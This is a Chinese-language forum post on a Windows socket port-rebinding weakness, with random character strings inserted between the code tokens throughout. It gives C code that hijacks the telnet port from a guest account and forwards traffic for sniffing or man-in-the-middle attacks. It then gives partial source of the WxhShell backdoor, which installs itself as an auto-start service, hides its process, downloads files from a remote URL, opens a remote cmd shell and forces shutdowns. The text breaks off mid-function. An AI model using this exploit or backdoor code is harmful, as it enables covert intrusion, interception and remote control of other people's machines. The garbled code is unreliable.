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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CiuN26> s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {*U:Wm< cnthtv+(~ saddr.sin_family = AF_INET; 9ojhI=: gcxk'd saddr.sin_addr.s_addr = htonl(INADDR_ANY); sQZ8<DpB f>dkT'4 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,7P^]V1 }^[@m# 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 zRu`[b3u< dLf8w>i`T 这意味着什么?意味着可以进行如下的攻击: %B*dj9n^q 2-0cB$W+ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )^H9C"7T B:~;7A\ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \NU[DHrMP l;A_Aii( 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 m;f?}z_\$ }qhK.e 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 wF8\ j\f$r,4 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *]WXM.R8 ~C/KA6H 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 od1omYsR <y!r~? 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 UwkX[u ^4pKsO3ul #include &|}IBu :T #include L_"(A
#H: #include yrAzD= #include q-%KfZ@(| DWORD WINAPI ClientThread(LPVOID lpParam); Ki/5xK=s int main() `HG19_Z { 4QAIQQS WORD wVersionRequested; WN+Jf DWORD ret; _|3TC1N$n WSADATA wsaData; K9Xd?
]a BOOL val; DA)v3Nd SOCKADDR_IN saddr; =zeLs0s; SOCKADDR_IN scaddr; %:KV2GP int err; vQmackY SOCKET s; q_y,j& SOCKET sc; DXW?;|8)O int caddsize; %8CT -mQ HANDLE mt; o?K|[gNi DWORD tid; 6bKO;^0 wVersionRequested = MAKEWORD( 2, 2 ); Dh No +"!z err = WSAStartup( wVersionRequested, &wsaData ); J xm9@, if ( err != 0 ) { 07Q[L'}y@ printf("error!WSAStartup failed!\n"); FJ~_0E#L return -1; yI.H4Dl< } A;-z#R#V5 saddr.sin_family = AF_INET; ' P`p.5nH KV}U{s+U8 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 19 wqDIE0 5A$az03y$\ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $;uWj| saddr.sin_port = htons(23); .xkV#ol if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KHecc/,,S { 8@yc}~8 * printf("error!socket failed!\n"); yF5 return -1; ht3T{4qCS } B9IXa; val = TRUE; * \o$-6<
//SO_REUSEADDR选项就是可以实现端口重绑定的 N~;
khS] if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )^f9[5ee { %}MA5 t]o printf("error!setsockopt failed!\n"); ;%7XU~<a return -1; j22#Bw } OZ!$%.?l //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; L\Fu']l //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 gSr}p$N //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 uxC @y0bU*v7 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) E[3FdX8 { Mj
B<\g> ret=GetLastError(); )n}]]^Sc printf("error!bind failed!\n"); 4ZJT[zi return -1; )yNw2+ ~5 } >}DjHLTW\ listen(s,2); AqbT{,3yW while(1) c >
mu)('U { frmqBC VJ: caddsize = sizeof(scaddr); {8#N7(%z //接受连接请求 `+hy#1] sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); u@bOEcxK if(sc!=INVALID_SOCKET) =F%wlzF: { J`+`Kq1T mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); hGA!1a4 c if(mt==NULL) 9VUm=Z#` { n`m_S printf("Thread Creat Failed!\n"); L_U3*#Zdz7 break; -S,ir } 5G'&9{oB } 1R2o6`_ CloseHandle(mt); /%uZKGP } #OD@q; closesocket(s); !
[|vx!p WSACleanup(); cCh0?g7nV return 0; hr<7l
C } )-.Cne;n DWORD WINAPI ClientThread(LPVOID lpParam) ,dZ#,< { ^%oG8z,L SOCKET ss = (SOCKET)lpParam; LZQFj/,Jg SOCKET sc; 20/P M9 unsigned char buf[4096]; i|c`M/) h: SOCKADDR_IN saddr; ST:
v3* long num; JMirz~%ib DWORD val; pY)j0tdd DWORD ret; y'_V/w s //如果是隐藏端口应用的话,可以在此处加一些判断 RD6h=n4B //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 s3Krob`C5 saddr.sin_family = AF_INET; )iEa2uJ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5:l*Ib:s7 saddr.sin_port = htons(23); E+m]aYu" if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9B+ zJ Vte { Ej+]^t$\ printf("error!socket failed!\n"); kJurUDo return -1; {
OxAY_ } jMf 7J val = 100; a(}VA|l if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) + q
#Xy0u { GP{$v:RG ret = GetLastError(); mEB2RLCM return -1; |5O >>a() } c#{Ywh if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~mXZfG/D { ^A *]&%(h ret = GetLastError(); (:.Q\!aZ1 return -1; 23}BW_m } @ate49W if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <+?
Y
{ 2fkIdy#n@ printf("error!socket connect failed!\n"); z"6ZDC6 closesocket(sc); (#j2P0B closesocket(ss); t+=1 2{9;f return -1; z-KrQx2
} ?418*tXd while(1) C.yY8?| { 9UeVvH //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +CnyK(V //如果是嗅探内容的话,可以再此处进行内容分析和记录 |D;_:x9 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9N~8s6Ob num = recv(ss,buf,4096,0); U^M@um M if(num>0) E8T"{
R80 send(sc,buf,num,0); !j!Z%]7 else if(num==0) )(h&Q?
Ar break; %~#!NX num = recv(sc,buf,4096,0); r{K\(UT]! if(num>0) Y<p zy8z send(ss,buf,num,0); pu/m8
else if(num==0) F=oHl@ break; WF ?/GN } T!u'V'Ei2 closesocket(ss); qDby!^ryc closesocket(sc); a.
h?4+^bN return 0 ; S2J#b"Y } CrnB{Z4L )"(V*Z g2g`,"T ========================================================== X'V+^u@W to99_2 下边附上一个代码,,WXhSHELL {l0,T0 N<KKY"?I' ========================================================== {PN:bb \We"?1^ #include "stdafx.h" PHQ{-b?4t $.oOG"u0] #include <stdio.h> !Oeq
G #include <string.h> La`h$=#` #include <windows.h> wzD\8_;6N #include <winsock2.h> 2}^+]5 #include <winsvc.h> JQ*D #include <urlmon.h> GN\8![J wl7 M fyU #pragma comment (lib, "Ws2_32.lib") -'80>[}q/ #pragma comment (lib, "urlmon.lib") 7<h.KZPc ixOEdQ #define MAX_USER 100 // 最大客户端连接数 eQ$N:] #define BUF_SOCK 200 // sock buffer ' 2>l #define KEY_BUFF 255 // 输入 buffer 84iJ[Fq{ S3R|8?| #define REBOOT 0 // 重启 0Vf)Rw1%I
#define SHUTDOWN 1 // 关机 B }6Kd R<Z^L~) #define DEF_PORT 5000 // 监听端口 $Llta,ULE ^g9}f #define REG_LEN 16 // 注册表键长度 /VRUz++K #define SVC_LEN 80 // NT服务名长度 3H1Pp*PH J1.qhy> // 从dll定义API *Y8XP8u/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jMK3T typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HDyQzCG, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 48wDf_<f5= typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YV*b~6{d ?sV[MsOsC // wxhshell配置信息 Kn']n91m struct WSCFG { D~Z=0yD int ws_port; // 监听端口 [!^cd%l char ws_passstr[REG_LEN]; // 口令 ows^W8-w int ws_autoins; // 安装标记, 1=yes 0=no D^|jZOJ char ws_regname[REG_LEN]; // 注册表键名 p?Z(rCp char ws_svcname[REG_LEN]; // 服务名 'KSa8;:=C char ws_svcdisp[SVC_LEN]; // 服务显示名 .FuA;:@%\ char ws_svcdesc[SVC_LEN]; // 服务描述信息 P?uf?{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8|w-XR int ws_downexe; // 下载执行标记, 1=yes 0=no }.'Z=yy char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" F#6cF=};@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |-|jf "hW(S }; d& hD[v ;vMn/ // default Wxhshell configuration [d}qG#N struct WSCFG wscfg={DEF_PORT, ,aI,2U91 "xuhuanlingzhe", ]22C)< 1, qc3~cH.@ "Wxhshell", ])C>\@c6Gm "Wxhshell", }xqXd%uz "WxhShell Service", qB+n6y% "Wrsky Windows CmdShell Service", &(g|="T "Please Input Your Password: ", PJCnud F 1, 9J?W '8s5 " http://www.wrsky.com/wxhshell.exe", PCtkjd "Wxhshell.exe" 3:UA<&=s }; NW)M?f+6 H-185]7 // 消息定义模块 Yr+d1( char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q'.;W@m char *msg_ws_prompt="\n\r? for help\n\r#>"; `Z:3`7c char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; qh$X^%g char *msg_ws_ext="\n\rExit."; z4g+2f7h-X char *msg_ws_end="\n\rQuit."; eO'xkm char *msg_ws_boot="\n\rReboot..."; Ee8-- char *msg_ws_poff="\n\rShutdown..."; }S,-uggz char *msg_ws_down="\n\rSave to "; #'C/Gya c -w0 char *msg_ws_err="\n\rErr!"; 2\5cjdy char *msg_ws_ok="\n\rOK!"; 9<v}LeX sW?B7o? char ExeFile[MAX_PATH]; bjlkX[{}I int nUser = 0; or7pJy%4" HANDLE handles[MAX_USER]; va^0JfQ int OsIsNt; z`OkHX*+2| ZY)%U*jWU SERVICE_STATUS serviceStatus; Pw= 3PvkL SERVICE_STATUS_HANDLE hServiceStatusHandle; 3 q"7K b{BaQ>.(` // 函数声明 K}Na3}m int Install(void); rhIGOk1k int Uninstall(void); ]/_G-2.R int DownloadFile(char *sURL, SOCKET wsh); ~6kJ~R4 int Boot(int flag); [%jxf\9jJ_ void HideProc(void); FOSbe] int GetOsVer(void); AeaPK int Wxhshell(SOCKET wsl); k Q~ %=pn void TalkWithClient(void *cs); |#V(p^ int CmdShell(SOCKET sock); *qG$19b int StartFromService(void); -?5$ PH int StartWxhshell(LPSTR lpCmdLine); `dO}L ".E5t@ }?m VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Jh?z=JY VOID WINAPI NTServiceHandler( DWORD fdwControl ); n26>>N 2A>C+Y[7\ // 数据结构和表定义 y^G>{?Tha SERVICE_TABLE_ENTRY DispatchTable[] = o!utZmk$ { PPj[;(A {wscfg.ws_svcname, NTServiceMain}, xZyeX34{M; {NULL, NULL} /$Z
m~Mp }; |Ytg 6b<+8w // 自我安装 C3)|<E int Install(void) "XhOsMJ { *> KHRR<N char svExeFile[MAX_PATH]; gQ>2!Qc a- HKEY key; tOM(U-7Z& strcpy(svExeFile,ExeFile); 5>P7]?U.] wyzOcx>M // 如果是win9x系统,修改注册表设为自启动 |!Fk2Je, if(!OsIsNt) { ]^ #`j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zP&q7 t;> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [f/.!@sj RegCloseKey(key); um[!|g/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q&PB]D{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MRs,l' RegCloseKey(key); .LObOR5J7 return 0; [O_^MA,z } *NlpotW,f } &6/%kkv } U CRAw3= else { W' ep6O J$QBI&D // 如果是NT以上系统,安装为系统服务 hiwIWd:H SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Gs_qO)~xo if (schSCManager!=0) #Qd'+M { k"
YHsn SC_HANDLE schService = CreateService !| xZ6KV ( j{;|g%5t schSCManager, )* TF" wscfg.ws_svcname, 5m7b\Mak wscfg.ws_svcdisp, QrC/ssf} SERVICE_ALL_ACCESS, 6/6Rah! SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *b"CPg/\ SERVICE_AUTO_START, ;'HF'Z SERVICE_ERROR_NORMAL, -72j:nk svExeFile, Yj|]Uff8O NULL, J &{xP8uq_ NULL, Obo _YE NULL, eh<rRx"[ NULL, ]*;F. pZ NULL Go <' ); O R
#7" if (schService!=0) V7C1FV2 { >zmzK{A= CloseServiceHandle(schService); v"RiPHLT CloseServiceHandle(schSCManager); k|FSz#Y strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qVBL>9O*. strcat(svExeFile,wscfg.ws_svcname); 8Z# 21X> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O@jqdJu RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JMlV@t7y< RegCloseKey(key); XlkGjjW#/J return 0; }+0z,s~0. } 9&K/GaG } .N"~zOV<# CloseServiceHandle(schSCManager); I4D<WoU;dJ } [se^.[0, } p<5!02yQ\ } 0M{A+ return 1; 4 x,hj } %l7fR} PLdn#S}. // 自我卸载 RUGv8"j int Uninstall(void) aFY u}kl { KG8W8&q HKEY key; fg&eoI'f \.<KA if(!OsIsNt) { PAZ$_eSK6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V=}1[^ RegDeleteValue(key,wscfg.ws_regname); ~R.dPUr RegCloseKey(key); n"G`b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { maC>LBa2/ RegDeleteValue(key,wscfg.ws_regname); >"("*3AO RegCloseKey(key); 6OB" , return 0; vPmnN^ } Yc`<S } BU6Jyuwn } ^$Krub{| else { ssl&5AS 8h.V4/? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^%#grX# if (schSCManager!=0) 'Kz9ygZy { {'R)4hL SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'jvpNn if (schService!=0) JsQ6l%9 { kX2d7yQZz if(DeleteService(schService)!=0) { l,d, T CloseServiceHandle(schService); 6RK\}@^=K CloseServiceHandle(schSCManager); "!Lkp2\ return 0; :a3xvN-l } [B9 ;?G CloseServiceHandle(schService); 'MQ%)hipA } GGnp Pp CloseServiceHandle(schSCManager); (V?@?25 } Do*n#= } \##5O7/1 &[j]Bp? return 1; *YvRNHP } pn\V+Rg' 1`-r#-MGG // 从指定url下载文件 u^4h&fL int DownloadFile(char *sURL, SOCKET wsh) lTz6"/ { T20VX 8gX HRESULT hr; pbn\9C/ char seps[]= "/"; y=H@6$2EQ char *token; '*!L!VJ char *file; IOEM[zhb$ char myURL[MAX_PATH]; ;/sHWI
f+Z char myFILE[MAX_PATH]; Cs1>bpY*R6 =+oZtP-+o strcpy(myURL,sURL); ai^|N.! token=strtok(myURL,seps); S>f&6ZDNY( while(token!=NULL) g}Qx`65: { 4~|<`vqN file=token; x-_vl
9P) token=strtok(NULL,seps); cm@;* } Vb)zZ^va+ : F9|&q-W, GetCurrentDirectory(MAX_PATH,myFILE); bQQVj?8jp strcat(myFILE, "\\"); 6 hiC?2b{x strcat(myFILE, file); h$fe -G# send(wsh,myFILE,strlen(myFILE),0); u%2KwRQ send(wsh,"...",3,0); ;BBpN`T hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lG"H4Aa> if(hr==S_OK) yV]xRaRr2 return 0; }5b M1h#z else qnIew?-* return 1; (vyz;Ob oNYZIk: } (?Q|s, `s/?b|, // 系统电源模块 YQVcECj int Boot(int flag) K=\&+at1 { Ijedo/ HANDLE hToken; }[n5n TOKEN_PRIVILEGES tkp; IZNOWX|Z; >D_F!_ if(OsIsNt) { &drFQ| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LWmB,
Zf/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KoHGweKl# tkp.PrivilegeCount = 1; rt!r2dq" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ai kf|)D[ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wda';@y5( if(flag==REBOOT) { )[&zCqDc if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RKuqx:U return 0; {o|k.zy } 2{oThef[O else { tT5pggml if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *g$i5!yM' return 0; S; /. % } d3^7ag% } YfDWM7x7, else { ,XB%\[pKe if(flag==REBOOT) { C`K^L=8`{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jP=Hf=:$ return 0; qd6fU^)i } J YmAn?o- else { qX6D1X1_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I%;Jpe return 0; \l,rpVv5m } 5%i:4sMx
* } AW8'RfC. p>kq+mP2bc return 1; {j
SmoA } ^jyD# P&=lV}f // win9x进程隐藏模块 npH?4S-8G void HideProc(void) aC^$*qN-) { ~]fJlfR* 8Y{s;U0n HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kiUk4&1 if ( hKernel != NULL ) pIO4,VL;W { T>d.# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1FERmf? ?d ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o0I9M?lP FreeLibrary(hKernel); I:=dG[\h2 } sYn[uPefj Vxdp| return; 82:Wvp6 } x` /)g( :tj-gDa\Y // 获取操作系统版本 SbT5u3,' int GetOsVer(void) b2)\
MNH { K1q+~4>\| OSVERSIONINFO winfo; T*>`,}J winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6mPm=I[oh GetVersionEx(&winfo); ,+1m`9} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X.#oEmA,P return 1; ;L"!I3dM) else |:[9O`U)s return 0; &m'kI } zG9|K ?IhB-fd>@ // 客户端句柄模块 Sc$UZ/qPT int Wxhshell(SOCKET wsl) $g\&5sstE { ]z == SOCKET wsh; 1wn&js C struct sockaddr_in client; WeJ@xL DWORD myID; -Zc![cAlO \caH pof while(nUser<MAX_USER) rT6?!$"%. { d8x%SQ!V int nSize=sizeof(client); `8g7q 5 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -_0?_Cb if(wsh==INVALID_SOCKET) return 1; 'Pd(\$ZY }iiHr|l3 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S2^>6/[xM if(handles[nUser]==0) {qpi?oY closesocket(wsh); ZxHJ<2oD else lK(Fg nUser++; e XV@. } \k@$~}xD, WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *75YGD ?dq#e9 return 0; ?=On%bh } \~DM gPXa>C // 关闭 socket 2U$"=:Cf void CloseIt(SOCKET wsh) k&6I f0i { 2}WDw>V closesocket(wsh); m
VxO$A, nUser--; ZFn(x*L ExitThread(0); 0Y+FRB]u } ${r[!0| /n{1o\ // 客户端请求句柄 "&o,yd% void TalkWithClient(void *cs) 2xxB\J { 9Sg<K)Mc K~6e5D7. SOCKET wsh=(SOCKET)cs; 3vic(^Qh char pwd[SVC_LEN]; F jrINxL7^ char cmd[KEY_BUFF]; AR&:Q4r| char chr[1]; :nJgwp()@ int i,j; ?vtX"Fdz &xd.Qi2 while (nUser < MAX_USER) { 4
J^Q]-Z k4\UK#ODe if(wscfg.ws_passstr) { I-@?guZ r if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Va<eusl //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <iLM{@lZvJ //ZeroMemory(pwd,KEY_BUFF); S]>wc
yy=n i=0; WNX5iwm while(i<SVC_LEN) { 2HL9E|h &1^%Nxu1 // 设置超时 c z'5iK fd_set FdRead; ig#r4nQ= struct timeval TimeOut; Ol@_(U FD_ZERO(&FdRead); E5GJi FD_SET(wsh,&FdRead); ZCui Fm TimeOut.tv_sec=8; DDd/DAkCX TimeOut.tv_usec=0; VG@};dwbz* int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6[P-Ny{z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6^F'|Wh kdrod [S if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1%~ZRmd e pwd =chr[0]; Im72Vt:p- if(chr[0]==0xd || chr[0]==0xa) { ot%.M*h- pwd=0; 4B[D/kIg break; E1V^}dn } 7}o/: i++; HIc a nk } PX
O!t]* y-aRXF=W // 如果是非法用户,关闭 socket W<b-r^9?s if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]ya; v ' } RrV>r<Z"Q +OaUP*\Dd send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5]Da{Wmgs send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .IrNa>J~ 4vZ4/#(x while(1) { N3A<:%s LEW hb!U ZeroMemory(cmd,KEY_BUFF); 3z =^(Y v4vf}.L] // 自动支持客户端 telnet标准
Gwec4D j=0; @_ygnNn4R while(j<KEY_BUFF) { 8/%6@Y"Y* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )r6EW`$ cmd[j]=chr[0]; oy.[+EI`| if(chr[0]==0xa || chr[0]==0xd) { l&(l$@t cmd[j]=0; 3c'#6virz break; 8;gXg } 8F5|EpB9M j++; 'xK.UI } UmU:j@xvg S]/b\B.h+ // 下载文件 n%%7KTqu if(strstr(cmd,"http://")) { ?;ukvD send(wsh,msg_ws_down,strlen(msg_ws_down),0); -.I4-6~ if(DownloadFile(cmd,wsh)) h) (*q+a send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]wn/BG) else N;sm*+r send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cD}Sf> } W#F Q,+0) else { Jl<ns,Zg -#:zsu switch(cmd[0]) { (#\pQ51 i?@M // 帮助 ^V*-1r1 case '?': { a|j%n send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -b;|q.! break; rVSZ.+n
} W_YY#wf_ // 安装 ?}p:J{ case 'i': { |+,[``d>" if(Install()) pf" <!O[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); AG6K
daJ else 5r,r%{@K send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E)N<lh break; 8AFczeg[[ } 3)Ac"nuyqH // 卸载 O~Wt600{E case 'r': { i&Fiq&V)[ if(Uninstall()) 9]'&RyH=# send(wsh,msg_ws_err,strlen(msg_ws_err),0); {jKI^aC<[ else V\5 L?} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1QqHF$S break; =duks\)O } ,Ds.x@p // 显示 wxhshell 所在路径 Z=S>0|`R case 'p': { ;az5ZsvN
D char svExeFile[MAX_PATH]; xG2+(f#C1 strcpy(svExeFile,"\n\r"); _D7 ]-3uC! strcat(svExeFile,ExeFile); m#e3%150{ send(wsh,svExeFile,strlen(svExeFile),0); {D&9UZm break; UL@9W6 } s,]%dG! // 重启 V7Yaks case 'b': { kJ:F *34e= send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U/{6%
Qy if(Boot(REBOOT)) Zi\['2CG send(wsh,msg_ws_err,strlen(msg_ws_err),0);
W-~n|PX8+ else { U977#MXf closesocket(wsh); cu!W4Ub< ExitThread(0); )~)*=u/ } G[Lpe break; XMN:]!1J } 7 Cqcb>\X // 关机 0u
B'g+MU` case 'd': { WCJxu}! send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *LC+ PZV@ if(Boot(SHUTDOWN)) ow'Vz
Ay- send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mj=$y?d ] else { 24c ek closesocket(wsh); Ey[On^$ ExitThread(0); cE'L% Z } y3u+_KY- break; 0U/,aHvhP } B@YyQ' // 获取shell #K\?E.9h case 's': { }G <T :(a CmdShell(wsh); 58xnB!h\} closesocket(wsh); %(/!ljh_ ExitThread(0); VZn=rw break; `6Qdfmk= } QnouBrhO // 退出 yF._*9Q3hK case 'x': { FyoEQ%.bI send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tvKAIwe CloseIt(wsh); T GB_~Bqe break; BG&cQr } "t=hzn"~% // 离开 Joe_PS case 'q': { :G w~7v_ send(wsh,msg_ws_end,strlen(msg_ws_end),0); R8ONcG closesocket(wsh); o PKr*
`' WSACleanup(); K0+.q?8D| exit(1); 7xo4-fIuT break; RC#C\S6 } QYb33pN| } V&]DzjT/ } pE.PX
8 I&|f'pn^< // 提示信息 |C%Pjl^YkV if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Scm36sT{ } qm*}U3K } .9[45][FK %6%<?jZ return; W/ay.I } 3-Dt[0%{ ppIbjt6r // shell模块句柄 S/ywA9~3Q int CmdShell(SOCKET sock) g.JN_t5 { x"P);su STARTUPINFO si; ?rX]x8iP ZeroMemory(&si,sizeof(si)); |%a4`w si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,6^znOt si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C`jM0Q PROCESS_INFORMATION ProcessInfo; d'6|: z9c char cmdline[]="cmd"; w@\vHH.;V CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (UCK;k return 0; Qcjc, } hJz):d>Im dx*qb // 自身启动模式 YNrp}KQ int StartFromService(void) J/!cGr(B~ { h_d +$W5 typedef struct ]'~vI/p {
'uDjFQX DWORD ExitStatus; J~B
7PW DWORD PebBaseAddress; RE$`YCs5 DWORD AffinityMask; . v@>JZC DWORD BasePriority; OX:O^ (-r, ULONG UniqueProcessId; qH,l#I\CG ULONG InheritedFromUniqueProcessId; R=Ws#' } PROCESS_BASIC_INFORMATION; {+<P:jbz; mnk"Vr` L PROCNTQSIP NtQueryInformationProcess; { x0 t 6C4'BCYW( static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L%}zVCg static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ; |/leu8 "P@>M) -9Z HANDLE hProcess; u,3,ck!B>@ PROCESS_BASIC_INFORMATION pbi; s#Jh -+lM :HxA`@Ok HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HpEQEIvt if(NULL == hInst ) return 0; d1@%W;qX! v4miU;|\ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst 